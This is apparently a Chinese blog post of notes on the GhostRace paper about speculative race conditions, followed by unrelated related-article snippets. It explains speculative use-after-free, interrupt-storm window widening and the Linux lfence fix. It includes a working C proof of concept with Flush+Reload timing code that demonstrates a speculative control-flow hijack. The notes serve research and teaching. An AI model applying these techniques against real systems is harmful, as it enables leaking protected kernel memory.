GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录

文章目录

  • 论文
  • 背景
    • Spectre-PHT(Transient Execution )
    • Concurrency Bugs
    • SRC/SCUAF和实验条件
  • 流程
    • Creating an Unbounded UAF Window
    • Crafting Speculative Race Conditions
    • Exploiting Speculative Race Conditions
  • poc
  • 修复
  • flush and reload

论文

https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf

背景

Spectre-PHT(Transient Execution )

现代 CPU 为提高性能,会对指令进行推测执行(就是CPU会先把可能的判断结果执行)
推测执行可能有两种结果:
a) 指令被正常提交
b) 指令因预测错误被回滚(squashed),产生Transient Execution,但相关缓存被保留

if (x < array1_size) {y = array2[array1[x] * 0x1000];
}
  1. x可控,多次x < array1_size后会认为可能依然是x < array1_size,然后执行if里的语句
  2. 如果x越界,但依然认为是x < array1_size,然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存,再通过array2[array1[x] * 0x1000]访问对应的位置
  3. 通过测信道可以探测出如果访问array2某个位置快一些,那么这个位置有可能就是array1[x]越界访问的内容,即泄露内容

Concurrency Bugs

在这里插入图片描述

SRC/SCUAF和实验条件

SRC:就是两个线程同时访问一个内存位置,一个是写操作,另一个是瞬时访问,此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似

所有保护均开启, Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据

流程

在这里插入图片描述

nfc_hci_msg_tx_work该函数是Linux内核中近场通信(NFC)驱动核心的主机控制器接口(Host Controller Interface, HCI)层实现的一部分,负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数,因此我们在分析过程中添加了一个系统调用以达到这一代码路径。

在这里插入图片描述

Creating an Unbounded UAF Window

在这里插入图片描述

目的:在free和设置NULL之间创建一个时间较大的窗口间隙

计时器到期会引发中断

首先通过设置定时器引起中断,在kfree时引起中断,但由于上锁,所以会等到已解锁就进入定时器的中断处理函数中,可以增加中断处理函数延长时间,这段时间通过其他核心发动系统调用使得向受害者核心发送中断,然后它陷入无限中断

Crafting Speculative Race Conditions

在这里插入图片描述

锁宏观上没问题,微观上可能有问题

第四行分支最终检查lock cmpxchgq指令的结果,该指令自动比较互斥锁ptr的当前值和旧值old,如果相同,则意味着互斥锁可以被锁定——将互斥锁设置为新值new,并授予对受保护临界区域的访问权,否则不行

我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。

其他常见同步写原语很多通过条件分支实现的,所以都很容易收到推测竞争条件的影响

实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量
在这里插入图片描述

当两个线程跨核心运行时,窗口通常更大,这表明在推测终止之前,缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。(我的理解是前一个执行上锁后,另一个开始推测执行,原执行流检查上锁时候得到已经上锁的信息较慢,导致此时推测执行已经执行多条了)

Exploiting Speculative Race Conditions

在这里插入图片描述

  1. 分配hdev和hdev->cmd_pending_msg
  2. 误导mutex的条件分支
  3. 启动victim线程和风暴线程:设置定时器,并启动目标函数
  4. free后进入定时器中断处理函数,此时窗口增大,运行别的函数
  5. 此时在窗口内创建msgbuf来对应hci_msg
  6. 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project,拿到刚刚释放的,设置好cb和cb_context
  7. nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流

poc

#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>#include "fr.h"//
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));
//为了准确测量不同位置的访问时间差异,确保每个缓存行位于单独的页面上是非常重要的。这样可以避免由于跨页引起的额外延迟干扰测量结果。
volatile int r __cacheline_aligned;
//
pthread_mutex_t lock;/* 与小工具相关的代码/数据。 */
void my_callback()
{
}void evil_callback()
{// 访问4096,其所在的起始页长放入缓存中maccess(&fr_buff[4096]);
}typedef void (*cb_t)();
typedef struct data_s
{cb_t callback;
} data_t;
data_t *data_ptr;/* 辅助函数。 */
void train_lock()
{int i;for (i = 0; i < 10; i++){pthread_mutex_lock(&lock);pthread_mutex_unlock(&lock);}
}void init()
{//数组初始化赋值才访问对应元素,不然直接访问未初始化会出现莫名其妙问题。所以按照正常流程先初始化再访问 !!!!memset(fr_buff, 'x', FR_BUFF_SIZE);//初始化后需要清空其所在的缓存// int i=4096*2;// printf("i %lu  buff %lu\n",i,probe_timing(&fr_buff[i]));flush(&fr_buff[0]);flush(&fr_buff[4096]);// int i=4096*2-10;// printf("i %lu  buff %lu\n",i,probe_timing(&fr_buff[i]));// 初始化锁 int r;r = pthread_mutex_init(&lock, NULL);// 初始化结构体data_ptr = malloc(sizeof(data_t));data_ptr->callback = my_callback;}int main()
{init();// 线程1:训练 pthread_mutex_lock(&lock)和pthread_mutex_unlock中的代码总是成功train_lock();// 线程1:获取锁,释放结构体pthread_mutex_lock(&lock);free(data_ptr);// 线程2:线程1在free()之后但在状态更新和锁释放之前被中断。然后,线程2重用内存以控制未来的悬挂指针引用(并劫持控制流到恶意回调)。 data_t *p = malloc(sizeof(data_t));p->callback = evil_callback;// 线程2:推测执行绕过上锁,并调用回调函数,这只会执行一个UAF(即,推测性控制流劫持r = pthread_mutex_trylock(&lock);//如果是pthread_mutex_lock(&lock);那么预测执行会回滚到pthread_mutex_lock(&lock);那么将陷入死循环if (r == 0){data_ptr->callback();// pthread_mutex_unlock(&lock); 推测执行的指令数量根本不满足执行完pthread_mutex_unlock}// 线程1:恢复执行并更新NULLdata_ptr = NULL;pthread_mutex_unlock(&lock);// 线程2:通过F+R测信道知道访问内存的时间较短的位置为推测执行中访问的位置unsigned long t1 = probe_timing(&fr_buff[0]);unsigned long t2 = probe_timing(&fr_buff[4096]);if (t2 < t1){printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);}else{printf("意外的时间:%lu << %lu\n", t1, t2);}return 0;
}

头文件

#ifndef FR_H
#define FR_H// 定义 likely 宏,用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)// 定义缓存行对齐属性宏,确保变量按照64字节边界对齐,并放置在特定的数据段中。
#define __cacheline_aligned \__attribute__((__aligned__(64), \__section__(".data..cacheline_aligned")))// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {volatile unsigned long time;asm __volatile__("    mfence             \n" // 确保所有之前的存储操作已完成。"    lfence             \n" // 确保所有之前加载操作已完成。"    rdtsc              \n" // 读取时间戳计数器。"    lfence             \n" // 确保此指令前的所有加载都已完成。"    movl %%eax, %%esi  \n" // 将低32位时间戳保存到 ESI 寄存器。"    movl (%1), %%eax   \n" // 从内存位置加载数据(触发缓存行为)。"    lfence             \n" // 确保此指令前的所有加载都已完成。"    rdtsc              \n" // 再次读取时间戳计数器。"    subl %%esi, %%eax  \n" // 计算两次读取之间的时间差。"    clflush 0(%1)      \n" // 清除指定内存位置的缓存行。: "=a" (time)            // 输出参数:EAX 寄存器值赋给 'time'。: "c" (adrs)             // 输入参数:'adrs' 的值通过 ECX 寄存器传递。: "%esi", "%edx"         // 被修改的寄存器列表。);return time;
}// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器,它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {unsigned long long a, d;asm volatile ("mfence"); // 确保所有之前的存储操作已完成。asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器,分别放入 a 和 d。a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。asm volatile ("mfence"); // 确保所有之前的存储操作已完成。return a;
}// maccess 宏定义用于触发电平1缓存未命中,模拟内存访问。
#define maccess(p) \asm volatile ("movq (%0), %%rax\n" \: \: "c" (p) \: "rax")// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \asm volatile ("clflush 0(%0)\n" \: \: "c" (p) \: "rax")#endif

在这里插入图片描述

修复

  1. 序列化指令(lfence)

    • lfence 是一种序列化指令,主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。
    • 通过在 cmpxchg 之后插入 lfence,可以确保在锁定操作完成后,任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前,对关键区代码的任何投机执行。
  2. 实现细节

    • 在 Linux 内核的 arch/x86/include/asm/cmpxchg.h 文件中进行了修改。
    • 具体地,在 __raw_cmpxchg__raw_try_cmpxchg 汇编宏中加入了 lfence 指令。
    • 这些宏用于实现所有的写侧同步原语,通过这种方式,确保所有相关的同步操作都受到保护。

但内核性能下降5%

flush and reload

22.5 Flush and Reload
flush+reload学习笔记

缓存会加载4096个字节,也就是一个页到缓存中
clflush会清理缓存行,也是4096个字节,也就是一个页

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/493604.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「Mac畅玩鸿蒙与硬件46」UI互动应用篇23 - 自定义天气预报组件

本篇将带你实现一个自定义天气预报组件。用户可以通过选择不同城市来获取相应的天气信息&#xff0c;页面会显示当前城市的天气图标、温度及天气描述。这一功能适合用于动态展示天气信息的小型应用。 关键词 UI互动应用天气预报数据绑定动态展示状态管理 一、功能说明 自定义…

常用Python自动化测试框架有哪些?

随着技术的进步和自动化技术的出现&#xff0c;市面上出现了一些自动化测试框架。只需要进行一些适用性和效率参数的调整&#xff0c;这些自动化测试框架就能够开箱即用&#xff0c;大大节省了测试时间。而且由于这些框架被广泛使用&#xff0c;他们具有很好的健壮性&#xff0…

彻底认识和理解探索分布式网络编程中的SSL安全通信机制

探索分布式网络编程中的SSL安全通信机制 SSL的前提介绍SSL/TLS协议概述SSL和TLS建立在TCP/IP协议的基础上分析一个日常购物的安全问题 基于SSL的加密通信SSL的安全证书SSL的证书的实现安全认证获取对应的SSL证书方式权威机构获得证书创建自我签名证书 SSL握手通信机制公私钥传输…

嵌入式单片机的运行方式详解

程序的运行方式轮询系统 指的是在程序运行时,首先对所有的硬件进行初始化,然后在主程序中写一个死循环,需要运行的功能按照顺序进行执行,轮询系统是一种简单可靠的方式,一般适用于在只需要按照顺序执行的并且没有外部事件的影响的情况下。 程序的运行过程中出现如按键等需…

python如何保存.npy

数据处理的时候主要通过两个函数&#xff1a; &#xff08;1&#xff09;np.save(“test.npy”&#xff0c;数据结构&#xff09; ----存数据 &#xff08;2&#xff09;data np.load(test.npy") ----取数据 给2个例子如下&#xff1a; 1、存列表 z [[[1, 2, 3], [w]…

gitee给DeployKey添加push权限

git执行push操作&#xff0c;将本地修改推送到gitee远程仓库时&#xff0c;报错&#xff1a; error: src refspec master does not match any error: failed to push some refs to gitee.com:XXX/XXX.git进一步执行以下强制推送命令&#xff1a; $ git push --set-upstream o…

Unbuntu下怎么生成SSL自签证书?

环境&#xff1a; WSL2 Unbuntu 22.04 问题描述&#xff1a; Unbuntu下怎么生成SSL自签证书&#xff1f; 解决方案&#xff1a; 生成自签名SSL证书可以使用OpenSSL工具&#xff0c;这是一个广泛使用的命令行工具&#xff0c;用于创建和管理SSL/TLS证书。以下是生成自签名…

Java模拟多个Mqtt客户端连接Mqtt Broker

上一次我们介绍了Java模拟单个Mqtt客户端的场景&#xff0c;但是在实际的业务场景中&#xff0c;可能需要我们模拟多个Mqtt客户端&#xff0c;比如&#xff1a;我们要对云平台的连接和设备上下行做压测。 Java模拟多个Mqtt客户端基本流程 引入Paho MQTT客户端库 <depende…

《Qt Creator 4.11.1 教程》

《Qt Creator 4.11.1 教程》 一、Qt Creator 4.11.1 概述&#xff08;一&#xff09;简介&#xff08;二&#xff09;界面构成 二、常用设置指南&#xff08;一&#xff09;环境设置&#xff08;二&#xff09;文本编辑器设置&#xff08;三&#xff09;构建和运行设置 三、构建…

LeetCode 热题 100_K 个一组翻转链表(31_25_困难_C++)(四指针法)

LeetCode 热题 100_K 个一组翻转链表&#xff08;31_25&#xff09; 题目描述&#xff1a;输入输出样例&#xff1a;题解&#xff1a;解题思路&#xff1a;思路一&#xff08;四指针法&#xff09;&#xff1a; 代码实现代码实现&#xff08;思路一&#xff08;四指针法&#x…

探索 Python编程 调试案例:计算小程序中修复偶数的bug

在 学习Python 编程的过程里&#xff0c;会遇到各种各样的bug。而修复bug调试代码就像是一场充满挑战的侦探游戏。每一个隐藏的 bug 都是谜题&#xff0c;等待开发者去揭开真相&#xff0c;让程序可以顺利运行。今天&#xff0c;让我们通过一个实际案例&#xff0c;深入探索 Py…

harmony UI组件学习(1)

Image 图片组件 string格式&#xff0c;通常用来加载网络图片&#xff0c;需要申请网络访问权限:ohos.permission.INTERNET Image(https://xxx.png) PixelMap格式&#xff0c;可以加载像素图&#xff0c;常用在图片编辑中 Image(pixelMapobject) Resource格式&#xff0c;加…

TCL发布万象分区,再造Mini LED技术天花板

作者 |辰纹 来源 | 洞见新研社 现实世界中&#xff0c;光通过悬浮在大气中的冰晶折射&#xff0c;呈现出环形、弧形、柱形或亮点的扩散&#xff0c;从而产生光晕&#xff0c;雨后的彩虹是我们经常能看到的光晕现象。 然而&#xff0c;当光晕出现在电视中&#xff0c;那就不是…

(14)D-FINE网络,爆锤yolo系列

yolo过时了&#xff1f;传统的yolo算法在小目标检测方面总是不行&#xff0c;最新算法DEIM爆锤yolo&#xff0c;已经替yolo解决。 一、创新点 ​ 这个算法名为DEIM&#xff0c;全称是DETR with Improved Matching for Fast Convergence&#xff0c;其主要创新点在于提出了一…

日本充电桩标准--CHAdeMO介绍

一、日本充电桩标准 1、充电桩认证体系 日本是新能源汽车主要推动者之一&#xff0c;其实相比纯电动车来说&#xff0c;在日本混动或者插电混动更受到民众的欢迎&#xff0c;油耗低经济实用比纯电动车更方便&#xff0c;连服务类的出租车和警车也大多都采用混动车型。在日本充…

HDR视频技术之十:MPEG 及 VCEG 的 HDR 编码优化

与传统标准动态范围&#xff08; SDR&#xff09;视频相比&#xff0c;高动态范围&#xff08; HDR&#xff09;视频由于比特深度的增加提供了更加丰富的亮区细节和暗区细节。最新的显示技术通过清晰地再现 HDR 视频内容使得为用户提供身临其境的观看体验成为可能。面对目前日益…

web实验三

web实验三 三四个小时左右吧&#xff0c;做成功了学到新东西了&#xff0c;还是挺有趣的&#xff0c;好玩。还有些功能没做完&#xff0c;暂时这样了&#xff0c;要交了。 html <!DOCTYPE html> <html lang"en"><head><meta charset"UTF…

VUE3+django接口自动化部署平台部署说明文档(使用说明,需要私信)

网址连接&#xff1a;http://118.25.110.213:5200/#/login 账号/密码&#xff1a;renxiaoyong 1、VUE3部署本地。 1.1本地安装部署node.js 1.2安装vue脚手架 npm install -g vue/cli # 或者 yarn global add vue/cli1.3创建本地项目 vue create my-vue-project1.4安装依赖和插…

C++ 智能指针(高频面试题)

本篇文章来介绍一下C高频面试题 智能指针。 1.智能指针高频问题&#xff1a; 接下来我会为大家一 一解读&#xff1a; 2.智能指针的由来&#xff1a; 在实际开发中 遇到的困境&#xff1a; 3.智能指针的核心是采用RAII思想来自动化管理指针指向的动态资源的释放&#xff08;…

Leetcode Hot 100 【二叉树】104. 二叉树的最大深度

104. 二叉树的最大深度 已解答 简单 相关标签 相关企业 给定一个二叉树 root &#xff0c;返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;3…